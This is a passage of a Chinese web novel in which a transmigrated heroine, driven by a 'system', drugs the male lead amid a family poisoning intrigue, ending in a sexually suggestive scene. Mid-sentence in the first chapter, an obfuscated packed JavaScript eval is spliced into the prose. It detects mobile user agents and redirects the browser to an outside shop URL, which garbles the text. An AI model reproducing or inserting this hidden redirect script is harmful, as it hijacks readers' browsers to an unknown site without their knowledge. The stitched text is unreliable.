魏昭知道她有很多疑问,却没办法解释,“我现在不能说,你也别问,你只要知道我有不得不做的理由。” 她面露担忧之色,想了想,道:“奴婢不是想多嘴,就是担心姑娘。这样的事,姑娘何必自己亲自去做,交给奴婢去就好了,万一被人发现,事情是奴婢做的,那就还有转寰的余地。” 内宅的夫人姑娘们,若真想算计什么人,从来都是指使别人去做。如果真的事发,也确实更容易变通。 魏昭明白她的意思,故作轻松,挤出笑模样来,“我心里有数,你别担心。” 担心也没有用。 “这事只能我自己去做。” 这是她的孽,她一人做事一人担就好,没有必要把别人牵连进来。何况她是书中的女配,女配的剧情应该只有她自己才能走,若是别人代劳,应该无效吧。 今日她已提醒过男主,也算是仁至义尽。 * 白鹤一大早就走了,府中上下如往常一般风平浪静。 如果说有些不同,就只有一件事:崔绩今日休沐。 离得远远的望去,可见他屋子的门窗都关着,一时让人分辨不出人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16885712|191066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到底在不在里面。 魏昭还在昨日的假山后,藏匿着自己的行迹,用千里镜观望着。 阳光晴好的天气,晨露早已挥发殆尽,草木焕发着休整之后的生机,处处都是葳蕤之景,空气中满是植物的清香。 她无心欣赏,也无心感受,一心想知道自己做的孽,到底有没有人中招? 那窗户一直紧闭着,没有半点要开的迹象。 千里镜转了个方向,没过多久视线之中出现崔明静的身影,身后跟着端着什么东西的丫环,不多会儿到了那门前,叩了几下之后,斗南出来了。 离得这么远,自然是听不到他们说了什么,只看到斗南接过丫环手里的东西,却未将她们请进去。 她们走远之后,斗南才端着东西进屋。 魏昭手里的里镜跟着移动,这才发现原本紧闭的窗竟然开了! 这一看之下她面色一变,只见崔绩不知为何趴在桌子上,紧跟着斗南过来,似是摸了一下他的额头,然后立马冲出来,左右四下没看到人,一脸焦急地跑远。 难道是中招了? 她想也未想,瞅着机会快速潜进屋内。 先前用千里镜透过窗户观察,如管中窥豹不得全貌,而今进到里面,才发现正如府里下人私下传的那样,崔家这位大公子对物质的要求真是低到不能再低。 但眼下不是感慨这些的时候,她只扫了一眼,注意力就全在趴在紫檀木桌子的人身上。人是脸朝下的,额头枕着交叠在一起的手上,指骨优越修长,根根如玉却可见力道。 她进来时故意发出声响,这人都没有半点反应,看来不是睡着了就是晕过去了。 走近之后,她故意轻唤着,“兄长。” 趴着的一点反应也没有,但不管是睡着还是晕过去,皆有随时醒来的可能,以她谨慎小心的性子,自然不可能冒险。走近之后,她的目光立马找到落点。 那就是崔绩的后脖颈。 银针刺穴,以防止他醒来。 然后她双手齐上,抬起他的头,眼睛紧盯着他的脸,无暇欣赏近在咫尺的美色,所有的关注点都在他左鼻翼旁的红疙瘩上。 从外观上看,像是药效起作用之后的初期表象,却也像是寻常内火旺盛而生的火疮,好在这两者有区分之法。 她捧起他的脸,再慢慢凑近,全神贯注地细嗅辨闻。 50-60 第51章 * 夜深, 人静。 是有所思,夜也有所梦。 魏昭不是第一次梦到崔绩,却是第一次梦到幼年时的崔绩。很小的一只缩在角落, 紧紧地抱着自己的身体。 不知过了多久,他埋在膝盖中的头抬起, 尽管只有四岁左右的模样,有着玉雪堆成般的婴儿肥, 五官中却可见长大后的优越完美。孩童黑玉般清透干净的眼里,充满着水色,长长的睫毛被打湿着,脸上也满是泪痕。 这么小的孩子,光是流泪, 却没有哭出声来, 可见有多隐忍。 他应是看到她, 泪眼一亮, “小猫……” 小猫? 她这才发现自己竟然是一只细猫的形体! “小猫,你怎么会在这里?你也没有爹娘吗?” 他将她抱起来, 搂在怀中,两人的眼睛对视时, 她忽然感觉到一阵心疼, 心疼他此时的可怜, 心疼他此时的无依无助, 不由自主地伸出手……爪子去帮他擦眼泪。 外面传来下人们说话的声音, “公子刚跪完郡主的牌位, 这都一天一夜了,什么也没有吃,真的没事吗?要不要禀报给殿下?” “你才进府没多久, 很多事都不知道,殿下纵是知道了,也不会管的。” “殿下的心到底是怎么想的,公子去园子里摘花送她,不也是为讨她欢喜吗?她把花扔了也就算了,竟然还斥责公子小小年纪就不学好。公子这么小,摘花弄草招猫逗狗不都是孩子心性吗?” “你赶紧闭嘴,若是被殿下听了去……公子一出生郡主就没了,殿下对公子严厉些,应该也是爱之深责之切。” 她听着这些话,感觉自己被抱得更紧了些。 “小猫,他们都说是我害死了我娘,这真的是我的错吗?又不是我自己想出生的……” 难为他小小年纪,竟然就能想到这一层。 人生在世,生不由己,死也大多不由己。 比如说在这个梦里的她,无关生死,却变成了一只猫。 梦里不知岁月,她不知陪了他多久,被他小心翼翼地藏着,听他诉说着孩童的心事,逗着他玩,好似天地之间唯有他们俩。 忽然有一天有人闯入,她看到了年轻许多的独孤岚。 严肃、凌厉,皱眉冷眼地看着俯视着他们,然后面色大变,掐着自己的喉咙倒在地上,很快被人抬走。 一阵慌乱过后,又冲进来几个人。 这一次她看到了独孤岚身边的那个嬷嬷,也比现实中的年轻许多。她被一把夺过去,重重地摔在地上。 梦一下子就散了,她也醒了过来。 她捂着自己的心口,感受那里的余悸和难受。她知道这是梦,或许也不是梦,她听崔绩提过这事,心想着可能是这事在自己脑海中留下极深的痕迹,才会让她有此一梦。 但也或者……她就是那崔绩记忆中的那只猫! 微光透过窗户进来,天已经亮起,那像是蒙着尘的光线,朦朦胧胧的不真切,如同虚幻中的混沌。 白鹤到了跟前,询问她是否要起,她摇了摇头,又点点头。 “张大夫天不亮就来了,去了客院那边,听说姨夫人病了。” 她闻言,眉心拧了拧。 不是她多心,而是赵家那对祖孙恐怕没一个好东西。 果不其然,她才将将收拾妥当,盛氏就派了人来请。 一进听闲堂,立马能感觉到气氛的不对。 盛氏一开口就是严厉的语气,“昭丫头,你可知错?” 她不用猜也知道,必是赵老夫人说了什么,说辞应该是因为昨日和她说过话,被她给气出个好歹来。对方无非是想给自己的孙女出口气,便借着盛氏这个祖母的身体来压她。 “孙女不知哪里有错,还请祖母明示。” 盛氏冷哼一声,眯着眼锐利地看着她。 她直视着,未见任何躲闪。 “看来你是真不知错在哪里,我且问你,你昨日是不是顶撞了你姨祖母?” 还真是被她给猜中了。 “祖母,自我进崔家以来,您对我与家中姐妹一视同仁,我心里很是感念,盼着崔家诸事顺遂,书香永续文脉绵长。” 说到这里,她声音低下去,“您顾大局,明大义,在您的掌管之下,崔家这些年都顺水顺水,但近段日子以来却是不太安稳。我相信您应当是心中有数,然而当局者迷,旁观者清,您怕是也被有心之人给蒙蔽了。” “你胡说什么!”盛氏面色大变,眼神越发的凌厉,如刀子般,“那些事全都已经查清,我何来被人蒙蔽一说?” 若真是有底气,便不会如此色厉内荏。 大家出身的嫡长女,又在世族高门内掌家几十年,她自然不是什么糊涂之人,却也不容一个小辈以下犯上。 那恨不得将人剖开的目光紧盯着魏昭,暗忖着怕是自己看走了眼,这个平日里乖巧懂事的继孙女,或许她从来没有看清过。 赵家祖孙步步紧逼,魏昭知道自己已不能再退。 她们之所以敢为所欲为,仗的就是盛氏的势,若要对付她们,首当其冲就是断了她们的靠山。所以今日这一出,哪怕是盛氏不找她,她或许也会找上门来。 “祖母当真以为那些事都是下人们所为?那些药只有黑市有售卖,她们就算是买得起,又哪里来的门路?” 猫有猫到,鼠有鼠道,有些东西不是有钱就能买得到的。 这个道理她都知道,盛氏哪怕是之前忽略这一层,眼下应该也能明白过来。 “这些事我心里有数,哪里轮得到你操心。” 所以盛氏早已想到,却出于种种原因大事化小,小事化了,没有往深去追究。 魏昭心下一声叹息,叹息声却溢了出来,“我不姓崔,我知道崔家很多事我都不应该过问。但是这些年来,我已将祖母当成自己的亲祖母,实是担心祖母。” 她这话一出,盛氏的表情又变。 半晌,道:“罢了,念在你一片孝心的份上,我也就不责罚你了。你以后切记,你姨祖母是我亲妹,你见她当如见我。” “祖母!”她往前走两步,眼里的担忧之色清楚可见,“害人之人恐怕是冲着整个崔家来的,兄长、三叔、夏姨娘腹中的孩子,还有我,我实在是害怕她们连祖母您也不放过。” 盛氏皱起眉来,因着她担心的人是自己,心里多少有些受用的动容,是以并没有喝斥她,“你有这份孝心,我就知足了,我身体无碍,你不用担心。” 她点点头,似是放心了些,“祖母瞧着气色确实比以前好了许多,欣然表姐给的药当真是不一般,只是这样的好东西,太医院里都没有,她为何不进献给大长公主?” 说者似无心,听者未必无意。 盛氏下意识将眉头皱得更深了些,一时面色凝重。 按照赵老夫人的说法,是因为自己身体虚不受补,所以不用那药,但独孤岚身体康健,若真有心讨好攀附之人,怎能放弃这样的好机会? 有些话不能说得太白,更不能直接点破。 魏昭见好就走,告退之前,尽着孙女的本分提醒道:“祖母,是药三分毒,有些药再是效果好,也不能日日不断,若不然依赖成性,一旦停了怕是更伤身。” 盛氏目送她走后,重重地叹了一口气。 紧接着以手撑着头,一副头疼的模样。 身后的嬷嬷迟疑相问,“老夫人,您是不是头又疼了,那表姑娘给的药,今日还要用吗?” 盛氏闻言,表情越显纠结,好半天才道:“先停一停吧。” * 魏昭一出听闲堂没多久,打老远就看到魏绮罗在等自己。 母女连着心,魏绮罗一得到女儿被叫来的消息,立马就赶了过来。再一听事关赵老夫人,当下就变了脸。 “那个老虔婆,八成就是装病。上梁不正下梁不肯,祖孙俩没一个好东西,还想登堂入室反客为主,我呸!” 不得不说,魏绮罗这话是一针见血。 “我现在倒是盼着她们赶紧把所有的招数都使出来。” 魏昭眼底一片冰冷,她相信一旦怀疑的种子在盛氏心里种下,那么她们就会多做多错,更容易被人抓到把柄。 赵狄以为攀上了大长公主,便能扶摇直上,那她就断了她们的后路,让她们爬得越高摔得越狠,却没有后路可退! 母女俩一边说话,一边走着,任是谁见了都是惊艳连连。 尤其是小孩子,更是童言无忌。 “大伯娘,四姐姐,你们真好看。”崔明意看到她们,毫不掩饰眼里的痴迷,满脸都是陶醉的模样,让人忍俊不禁。 魏绮罗知道她是来找魏昭的,自是当个识趣的长辈,主动先走一步。 她拉着魏昭绕到假山后,献宝似的指着一处草丛,说自己发现了一窝蚂蚁,让杨氏交待下人莫要清理。 蚂蚁窝应该不大,红褐色的蚂蚁在草间忙碌着,有的还顶着小片的切叶,来来回回地穿梭不停。 “四姐姐,你看它们是不是很有意思?” 魏昭点头。 这些蚂蚁像人一样,看起来熙熙攘攘,却不知到底是为什么。 崔明意摘了一根草,逗了它们一会儿后,小大人般地叹了一口气,“以前所有人都说京城是天底下最繁华热闹的地方,我老盼着回京,现在却是想着濯州的好。四姐姐,你说我们女子为何不能像男子那般自在?” 说到这,应是想到了什么,话题跳得极快,“大哥好几天没回来了,我好想他。四姐姐,你想不想他?” 魏昭的心,骤然就乱了。 她都梦到人了,能是不想吗? 但这样的想,是她心乱的那种想吗? 幸好小孩子的思维跨度大,崔明意也不等她回答,又想到了另外的事,一扫方才沮丧的样子,“四姐姐,我听厨房采买的人说有两个坏人,跟踪加害一位娘子不成,反被那娘子给下了药,再也干不了坏事,正到处找神医求解药,你说解不解气?” 她心下失笑。 当日她用药将那两人迷倒之后,想着以绝后患,让他们不能再祸害别的女子,便给他们下了灭男人雄风的药。 那药也是匣子里的,名叫尘缘尽断。 说起来她给男主用的药,也全都是那匣子里有的,这个念头刚一浮现,莫名有种不太好的预感。 果然! 下一秒脑海中响起系统的声音,【触发剧情任务,请宿主给男主下不举之药,限时三日。动机:想在为男主解毒时,与之亲密接触。】 “……” 这个系统到底把她当成了什么人? 她的设定是胸大无脑貌美愚蠢,让她给男主下毒也就算了,为什么还要层层加码? 上一次让她给男主下烂全身的药,却让摸男主,不可谓口味不重。这一次让她给男主下不举的药,反要她和男主亲密接触,简直是猥琐至极。 真是够了! 第52章 一只蚂蚁不知何时爬上她的裙摆, 崔明意见之,小心翼翼地捉下来,放回到草丛里, 转头见她神情略显怔愣,却难掩瑰姿艳色, 不由得目光渐痴。 喃喃着,“四姐姐, 你怎么长得这么好看,日后的四姐夫真是占了大便宜。” 童言童语让她回过神来,挤出些许笑模样来,虽有几分勉强,但仍然让人惊为天人。 崔明意越发迷了眼, 眼晴晶亮, 随后又想到什么, 小脸一正, 极其郑重地道:“四姐姐,外面坏人多, 你长成这样,出门时要多加小心。” 她心下苦笑, 于自己而言外面的危险, 哪有这府里的多, 更何况那将她困在这里的书中剧情, 更是让人无力吐糟。 “如果我们能像那位娘子一样厉害就好了, 听起来像我爹说的那些江湖之人的行事做派, 定然是个快意恩仇之人。” 快意恩仇这四个字说起来简单,真做起来很难。饶是她有些反击的手段,却也不敢随意显露出来。 “说不定也不是什么快意恩仇, 就是个想自保的人而已。” 崔明意想了一下,然后点头,“四姐姐说的可能也没错,那位娘子应该也是没有法子,都怪那些坏人,成天没事找事地想害人。” 这说的不止是那两个人,还有府里的人。 身处内宅之中,哪怕是孩童也难免卷入争斗。 “我娘说,要是大哥一直住在府里,等他成了亲,可能就没有这些事了。”她小大人般叹了一口气,“但是我听人说祖母想让欣然表姐嫁给大哥,四姐姐,我偷偷告诉你,我不喜欢欣然表姐,我不想她嫁给大哥。” 魏昭心道,她也不想。 如果她忙活一场,到头来恶毒女配走完剧情,开出的女主盲盒居然是赵狄,那她做这一切还有什么意义? 她抬头望天,也跟着叹了一口气。 * 半夜,盛氏从睡梦醒来,出了一层的虚汗。 她喘着气,感觉身体又浮又软,没什么力气。 侍候的嬷嬷见状,立马取来赵狄给的药,询问她是否要吃一颗,她先是倒出一粒来,却犹豫了好半天,最后还是没吃。 “老夫人,表姑娘不是说这药一日都不能停……” 她摆了摆手,重新躺下闭眼,迷迷糊糊虚虚沉沉地睡去。 又过了一日,她更能感觉身体的异样,比前些日子好似沉重了不少,还没走两步就感觉到虚软,赶紧让人去大夫。 张大夫很快上门,替她诊脉时眉头不断地收紧,面有凝重之色。 除去她的心腹外,所有的下人都已屏退。她留心着张大夫的脸色,心里越来越虚,感觉身体也跟着越来越不对。 好半天,张大夫终于收了脉枕,“老夫人近些日子应是操劳太过,内里较之先前亏空了些,当好好调理才是。” 亏空二字,如同一道雷,将她原本来抱着侥幸的心惊醒过来。 她沉着面,“我心中已有猜测,你有话但说无妨。” 张大夫闻言,思忖一二后,道:“行医之人不敢胡言,但老夫人突然身体亏空,确实是有些蹊跷,以我的医术实在是看不出来是何缘故,还请老夫人见谅。” 他说的倒是实话。 盛氏想了想,拿出赵狄给的那瓶药丸,请他帮忙一验。他倒出一粒来,先是闻了闻,再掰开来尝了尝。 好半天,他欲言又止,“这药……老夫人以后莫要再吃了。” 也不说这药是好还是坏。 又道:“杏林广袤深远,尚有很多不世之药草,也有许多不流世的奇方,有些药确实能让人一时焕发精神,却不宜长期服用,否则定会掏空身体,有损寿元。” 他没有问这药是哪里来的,显然是不愿搅进内宅的浑水中。开了调养的方子,叮嘱了一些注意事宜,做尽自己本责分内之事后,这才背着药箱走人。 当然,无需盛氏交待,他也知什么话该说,什么话不该说。 他走后没多久,赵老夫人就来了。 或许是因为还在病中,赵老夫人看上去气色很不好,再加上一脸的担忧之色,更是显得憔悴不堪。 凭是谁见了,都会感叹一声姐妹情深。 她见到盛氏,忙问:“姐姐,不是有欣然给你的那些药,你怎么还会生病?” 盛氏让所有人退下去,看着她担心自己的模样,目光无比的复杂,“欣然给的又不是灵丹妙药,哪里能包治百病。” “这倒也是。”她叹了一口气,“我们年纪大了,身子骨哪里还能和以前一样,姐姐你可要多多保重。” “我最近也常想起过去,当年我替你拒了秦家的婚事,执意让你嫁进赵家,是想着秦家虽家大业大,但内宅嫡庶相争不断,以你的性子定会被人利用,难有安生日子。” 说到这里,盛氏脸上现出一丝悔意,“赵家家境一般,却胜在人丁简单,你一嫁过去就能当家做主,日子定然舒坦,哪里能想到后来会发生那些事,这些年你可曾怨过我?” “姐姐……”赵老夫人似是有些不太自在,低下头去,“这都是命,我怎么可能怨你?” 长姐如母,知女莫若母。 她这般模样,盛氏一眼就看出她在掩饰什么,一颗心沉了又沉,说不出来的难受。 良久,道:“你身子不好,当静养为宜,最近府里事多,我想着派人送你去庄子上住些日子,你看要不要让欣然丫头陪你一起去?” “姐姐!”她震惊抬头,憔悴的脸上急色毕现,“还是不要麻烦的好,我觉得府里就挺好的,不必如此折腾。” 盛氏看着她,长姐的怜爱与威严交错着,“府里再好,你住的也是客院,也只是个客,若不然我给你置办个宅子,你和欣然也算在京中真正安顿下来?” 她面色瞬间一变,话说到这个份上,自是听出不对来,目光中全是难以置信。 这些年她濯州,毫不夸张地说,若不是盛氏的接济,她的日子定然十分艰难。 “姐姐,你这是嫌弃我了?” 她哭起来,一副凄苦的模样。 若是搁在昨日之前,盛氏必是心疼她。 而今,心疼有,更多的却是难受与复杂。 她哭了半天,也不见盛氏安慰她,心里越发的没底,“我是个命苦的,母亲去的早,好不容易把儿子养大,却是白发人送黑发人,又死了丈夫,我知道自己招人嫌,没想到连姐姐你也会嫌我……” “我从未嫌过你。”盛氏的心都揪成了一团,“我也没有想到,我的亲妹妹竟然会害我!” 哭声立止,一室的静。 赵老夫人先是震惊地瞪大眼,尔后眼皮连眨着垂着了下去,“姐姐,你在说什么,我怎么听不懂……” 她如此反应,盛氏已知答案。 很快,她回过神来,一把抓住盛氏的手,“姐姐,你是不是听人说了什么?对我起了误会,我怎么可能会害你?” “那你告诉我,欣然丫头给我吃的药是什么,你当真不知道吗?” “欣然?”她像是很诧异,“她给你吃的药都是好东西……是不是张大夫说了什么?我就知道他定是对欣然能给你调理身体,断了他的财路而怀恨在心,姐姐,你可不能信别人,而怀疑她……” “张大夫什么也没有说。”盛氏抽离自己的手,神情淡了些,“是我忘了吃药后,发觉身体不对,这才让他上门。若真是好东西,你为何不吃?” “我身子弱,虚不受补……” “那大长公主呢?欣然已去了公主府,这等好东西,为何不进献给大长公主?” “这……”赵老夫人愣了一下,“我好像听欣然说这方子用药讲究,有些药不好买……” “有什么药是大长公主买不到的?是不是好东西,我如果真想知道,大可请太医上门一验便知。” 这下赵老夫人终于扛不住了,脸色大变的同时,整个人都在微微颤抖,“姐姐,我真的不知道,欣然肯定也不知道。她学艺不精,也不知是从哪里得到的方子,以为是好东西……” 盛氏见之,自是于心不忍,“罢了,这事我不会再追究,你是去庄子静养,还是另择宅子,我定会把你安置好。至于欣然丫头……” “姐姐!”赵老夫人突然跪在地上,乞求地望着她,“我就这么一个孙女,只盼着她能有个好归宿,我敢对天发誓她真的什么都不知情。如今她得大长公主看重,求姐姐看在我这些年受苦受难的份上,怜惜于她,可好?” 她到底将这个妹妹疼到了骨子里,本也没打算声张,重重地叹了一口气,道:“她若有造化,我不会拦着,但她的归宿不能是绩儿。” 赵老夫人连声应下,表示自己愿意去庄子上,只求她不要把此事告辞赵狄。 若被送去庄子,还可以打着静养的名头,旁人也不会说什么。如果另择宅子而居,恐怕会招来一些非议。 她一一允了,等人一走,转头吩咐身边的人,“让昭丫头来见我。” * 一炷香后,魏昭被请到。 张大夫进府的事,她已知晓,心中自是有所猜测。但见自己一到,盛氏就让所有人退出去,更是印证自己所想。 盛氏看她的目光,较之从前有所不同。 有复杂,也有欣慰,还有几分怜爱。 最近发生的很多事,这个继孙女在其中起了很大的作用,先是救了小孙子的命,后又不顾危险让小孙女幸免于难。 哪怕是被人陷害,也能缜密化解,关键时候更是顾全大局。 一众儿孙中,反倒是这个孩子最是关心自己,若非她的提醒,自己恐怕真到了身体全被亏空,回天无力的那一天都不知道。 思及此,盛氏招呼她上前之后,与她闲聊起来,关心她吃的用的如何,问她有什么想要的东西。 她回道自己什么都不缺,也没有什么想要的,暗忖着或许是自己的话起了作用,对方这是想感谢她。 但她要的不是感谢,而是赵家祖孙的后路! “你这个孩子向来懂事,你不争不抢,祖母却不能亏待你。你是我崔家的姑娘,与你几个姐姐妹妹一样,以后无论是嫁人还是招婿,除去公中的那些,祖母也给你备一份嫁妆。” 她大感意外,因为这是盛氏第一次说这样的话。 多年来崔家上下都知道她是女户,是要顶起魏家的门户招婿入赘,不会像崔家的姑娘一样嫁出去,由娘家准备嫁妆。 何况她不是崔家女,哪怕是她嫁人,她的嫁妆也不应该由崔家来出。是以这些年来,从未有过提及过此事。 但有些东西虽好,却不好拿。 盛氏的私产私房不少,她又没有女儿,只能是分给孙女们。这平白无故的多了一个人来分,每个人到手的自然会减少。 一旦此事传出,必会徒增是非。 她最不想搅和崔家的事,也不想沾他们的光,更不想分他们的东西,当下婉拒道:“祖母仁慈,您疼爱我,我心里都清楚,但您的东西我不能要。” “长辈赐,焉敢辞?祖母给你的,你收着便是。” “祖母……” “祖母。” 她的声音与外面的声音重合在一起,心下顿时大喜。 崔绩回来了! 来人分明是长身玉立的矜贵公子,她脑海中却乍然浮现梦里那幼童的模样。是黄粱一梦,还是庄周梦蝶? 不管怎么说,他们之间的牵扯注定不会浅。 再仔细看去,不难看出他身上的些许风尘,虽衣裳如雪,但靴子的面上可见尘土,应是赶路未歇所致,暗忖着难道这人莫不是一回京就赶了过来? 这两天她算着日子,自是有些着急,唯恐三日之期前他还没有回来,自己怕是要再受那脑仁攻击之苦,是以让方勒守在府衙外,一旦看到他,及时将自己写给他的信送上。 也不知是凑巧,还是他看了自己的信?如果是看过信后立马过来,那是不是就能说明他很重视自己的事? 光是这么想着,她莫名有些心乱,说不出来的感觉。 盛氏笑眯眯地打量着大孙子,关心地问起他这一趟可还顺利。 然后说起方才的事,“你给祖母做个见证,答应祖母日后对待昭丫头,当如元娘惠娘云娘她们一样。” 若能得男主的照顾,是她这个恶毒女配求之不得之事。 魏昭有些犹豫,那些东西要还是不要,这是个问题。 她纠结的模样清楚落入崔绩清冷的眼中,如一花入静湖,幻化出无数绮丽,足可慰藉一路的风尘仆仆。 当他朝自己看过来时,她竟然下意识躲闪。 他眸色渐深,回复盛氏,“祖母放心,我对四妹妹的爱护,定然不会比其他的妹妹们少。” 她闻言,心头忽地一跳。 耳边仿佛响起系统冰冷的声音,低垂的眼皮颤了颤,余光不受控制地往他腰下瞄去。 看也就算了,为什么还要让她碰? 该死的剧情,癫不癫! 她自以为自己目光隐晦,却不知有人天生敏锐。 崔绩感知到她在看在哪里,瞬间下腹一紧,呼吸也随之一乱。 第53章 * 这一通下来, 盛氏真的累了。 身体累,心也累。 眼下算是事了,该处理的处理, 该感谢的感谢,但骨肉至亲的算计与冷漠, 让她受伤颇深。当着小辈的面,又不好表露太多。 纵是她尽力如常, 却也逃不过崔绩的感知。 “祖母瞧着气色不太好,可是最近身子有什么不适?” 她顿时欣慰起来,感慨着大孙子瞧着为人清冷,实则也是个心细孝顺的孩子,“我无碍, 就是有点乏了。你这一路也辛苦了, 等下我派人给你外祖母那里报个平安, 你今晚就歇在家里吧。” 又对魏昭道:“昭丫头, 你是个好孩子,祖母知道你最是知道轻重, 以后你没事就过来陪祖母说说话。” 魏昭自是明白她想叮嘱的是什么,当下回道:“我嘴笨, 不太会说话, 若是您不嫌弃, 那我日后就常来叨扰。” 高门之内多少藏污纳垢之事, 为了家族的颜面, 大多都不为人知。 她的忧心, 她的顾忌,魏昭大抵能理解,私心想着经此一事就算没有完全断送赵家祖孙的后路, 至少应该毁了一半。 如此,倒也是够用。 两人一前一后出的听闲堂,却心有灵犀般在假山后汇合。 几日未见,好似有些东西在悄然地发生变化,比如说魏昭的心境,还比如说崔绩的眼神。 崔绩的目光中分明多了些情绪,有不想掩藏的情,也有压不住的危险。 “这次你要做什么?” 他之所以这么问,是因为魏昭让方勒送给他的信里留下的一句话:我又病了。 倘若只是下药,倒是简单易行,坏就坏在接下来的事,绝非这大白天的能完成,还需等到天黑之后才行。 “一句两句说不清,我晚上去找你。” * 他回京的事,盯着的人不少。 除去大长公主不说,公主府那边密切关注的还有赵狄。 赵狄听到他人未进府衙,而是直奔崔府的消息,脸色立马就阴沉下来。 算起来她住进公主府也有一段日子,期盼之事却一点进展也没有,更让她不安的是,近几日独孤岚都没有见她。 她在屋子里来回走动着,一时想出去,没几步又退了回来。一时坐到镜子前,端详着自己的脸。 “姑娘,既然大公子总往崔府跑,我们何不干脆回去?” “不行!” 她看着镜子里的人,一身的华贵,是她梦寐以求的模样,她绝对不可能放手,不知是对自己说,还是对欺霜说:“我一定会如愿的。” “可是大长公主今日也没有见你,会不会还是因为那天的事?” 她听到这话,脸色更加难看了些。 半晌,道:“大长公主应该没有怀疑我,我替她挡过箭,又守规矩懂礼数,她必不会对我起疑。寿昌公主行事向来乖张,为逞气而偏帮于人也不奇怪。她若真有疑,也是疑寿昌公主故意做伪证。” 她暗自想着,以大长公主的身份地位,倘若真怀疑她的人品,万不会继续留她住在府上。 主仆二人正说话时,崔府那边派人来传话。 来人是盛氏身边的吴嬷嬷,吴嬷嬷此番前来,一则是说崔绩今晚会歇在崔家,二则是告知赵老夫人要去庄子上静养一事。 当着荣嬷嬷的面,她是这样说的,“姨老夫人说了,她身体无碍,就是想好好清静一下,表姑娘莫要担心,只管在这里陪大长公主。” 赵狄对赵老夫人突然要去庄子上静养一事虽有疑惑,听到这话后却是安心了不少,“劳嬷嬷回去转告我祖母,让她好好静养,我过些日子亲自去接她。” 且不她回去后如何思量,如何犹豫要不要回崔府一趟。只说荣嬷嬷回去复命,将事情一一道完后,独孤岚脸色越发的冷肃。 “派人盯紧她,千万不能让她发现人就在公主府。” “奴婢瞧着她确有些小聪明,但还是不够看。上次魏姑娘的事,她做的就很不高明,殿下为何还留她在府里?” “那事或许真不是她做的,魏家那个孩子更像是个看着乖巧,实则是个为了情爱什么蠢事都做得出来的。还有寿昌那性子你又不是不知道,最是任性惯了,因着不喜什么人而故意做假证也不是不可能。” 独孤岚提到寿昌公主时,语气中明显有几分宠溺。 荣嬷嬷自是知道她的心思,她喜欢寿昌公主,是移爱之心,全因寿昌公主的生辰和永嘉郡主的生辰是同一天。 基于这个缘故,她对寿昌公主格外的疼爱。她不是不会爱屋及乌,而是爱屋及乌的对象不是崔绩。 一想到自己的亲外孙,她反而冷了脸,“当真是那个白眼狼的亲儿子,枉费本宫将他养大,他竟与崔府更亲些。出京这些天,回来也不知道先来看望本宫这个外祖母,怕是故意做给本宫看的。” “奴婢听说崔老夫人身体有些不适,今早还请了大夫,公子许是得到消息,这才急着去了那边。” 她轻哼一声,“他自来心冷,不像是个孝顺之人。本宫倒是觉得他是在避嫌,想让本宫以为他和赵狄关系疏远,本宫倒要看看,他到底想做什么?” * 暮色降临,华灯初上。 大房一家四口头回在非初一十五的日子一起吃饭,或许是接下来要做的事实在是出格,魏昭唯恐自己被人看出端倪,是以吃饭时几乎没怎么抬头。 饶是如此,她还能感觉到自己被人盯着。 不用去验证,她也知道是谁。 突然,一块鱼腹肉被人放到她碗里。 “几日不见,四妹妹瞧着清减了,应当多吃些。” “……” 这人怕是故意的吧! 她低声道着谢,还是不看人。 魏绮罗惊讶之余,又有几分高兴,暗道若是女儿日后能得继子照顾,自己倒是可以放心不少。 “大公子这一趟出京,想来也是辛苦,瞧着人也瘦了许多了,也要多吃些才是。知之,你给你大哥盛一碗汤。” 魏昭被点名,不得不抬起头来。 魏绮罗拼命朝她使眼色,她心下全是无奈。 汤就摆在中间,方便所有人都能够得着,她以为崔绩应该不需要自己帮忙,没想到对方居然把碗递过来,正人君子般说了一句,“有劳四妹妹。” 她接过碗,努力让自己看上去就是个乖巧听话的妹妹,给他盛了大半碗汤。 这你给我夹菜,我给你盛汤的兄妹互动,看起来倒有几分寻常人家吃饭时的温馨,不由得让崔洵颇有感触,满眼的欣慰之色。 “一家人一起吃饭,也不需要定日子,以后只要我在家,我们就像今日这般。父亲,你意下如何?” 他听到崔绩这么说,更是欣慰。 当初定下初一十五吃团圆饭,他是想着儿子住在公主府,鲜少来这边,若不是规定日子,怕是一月里都很难见上一面。 万没想到近段日子以来儿子常回府不说,还主动提及这事,如何不让他感怀万千。 他心疼儿子,便没和往常吃过团圆饭后那般与崔绩去书房,而是催着人赶紧去歇息。 崔绩和魏昭一前一后告辞,很快相逢在那扇白屏风的后面。 斗南守在门外,屋子里只有他们俩。 “通通” 魏昭听着自己的心跳声,光是想着自己接下来要做的事,脸颊都在发烫。 她深吸一口气,拿出准备好的药丸,当着崔绩的面捏碎洒进茶水中,搅化之后倒了一杯递过去。 茶香四溢中,完好地掩盖了药丸原本的气味,但逃不过嗅觉敏锐之人。 崔绩仅是闻了一下,眼睛瞬间眯起。 他或许是想到什么,喉结滑动着,声音极轻,“这次又是为何?” 魏昭都不敢看他,有那么一瞬间,她觉得自己好像是自投罗网的猎物,一步步走进猎人的狩猎范围内。 而那个逼着她走剧情的系统,更像是男主的帮凶。 “兄长,你要相信我,我真的可能是生了什么大病,若不然我根本做不出来这样的事。我给你下这个药,是想帮你治疗时……顺便看一看……” 说到最后,她的声音已经低不可闻。 但听在崔绩的耳朵里,却如九天宫阙上传来的天籁之音。 “你想看?” “是。” 她头更低,暗骂系统不是人。 尽管低着头,她的余光却在注意着崔绩的反应。当看到崔绩转过身背对着她时,她心道完了。这次的要求肯定是太过分,哪怕她再有用,男主或许也容不得她如此放肆。 正思忖着该怎么办,听到他说了一个“好”字。 这都能同意! 她震惊着,下意识闭上眼睛,心跳得更加欢实。 过了一会儿,她感觉他离自己近了些,然后又听到他说,“好了。” 她眼皮颤了颤,做好心理准备后慢慢睁开…… 入目所及的美男敞着胜雪的衣衫,一览无遗坦坦荡荡地面对着她,她经受着强大的冲击,看着那生机勃勃之处。 当真是天赋异禀尺寸惊人,不愧是限制文男主! 极艳,极欲。 